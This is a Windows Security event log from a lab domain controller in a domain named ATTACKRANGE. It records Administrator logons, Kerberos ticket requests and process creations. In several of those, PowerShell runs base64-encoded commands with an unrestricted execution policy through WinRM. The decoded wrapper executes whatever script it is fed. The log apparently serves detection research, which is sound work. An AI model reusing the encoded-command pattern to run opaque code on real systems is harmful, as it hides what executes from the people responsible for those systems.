Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252884
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252883
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252882
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf70
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12a0
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252881
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a0
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4f8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252880
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17E212

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252879
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17E212
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252878
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=252877
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=252876
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252875
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x4f8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1028
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=252874
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D420

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1028
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1390
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=252873
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D670

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252872
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x17D670
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:23 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=252871
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{8EF1C707-086F-B8B4-15A2-7FDBEE789C2B}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

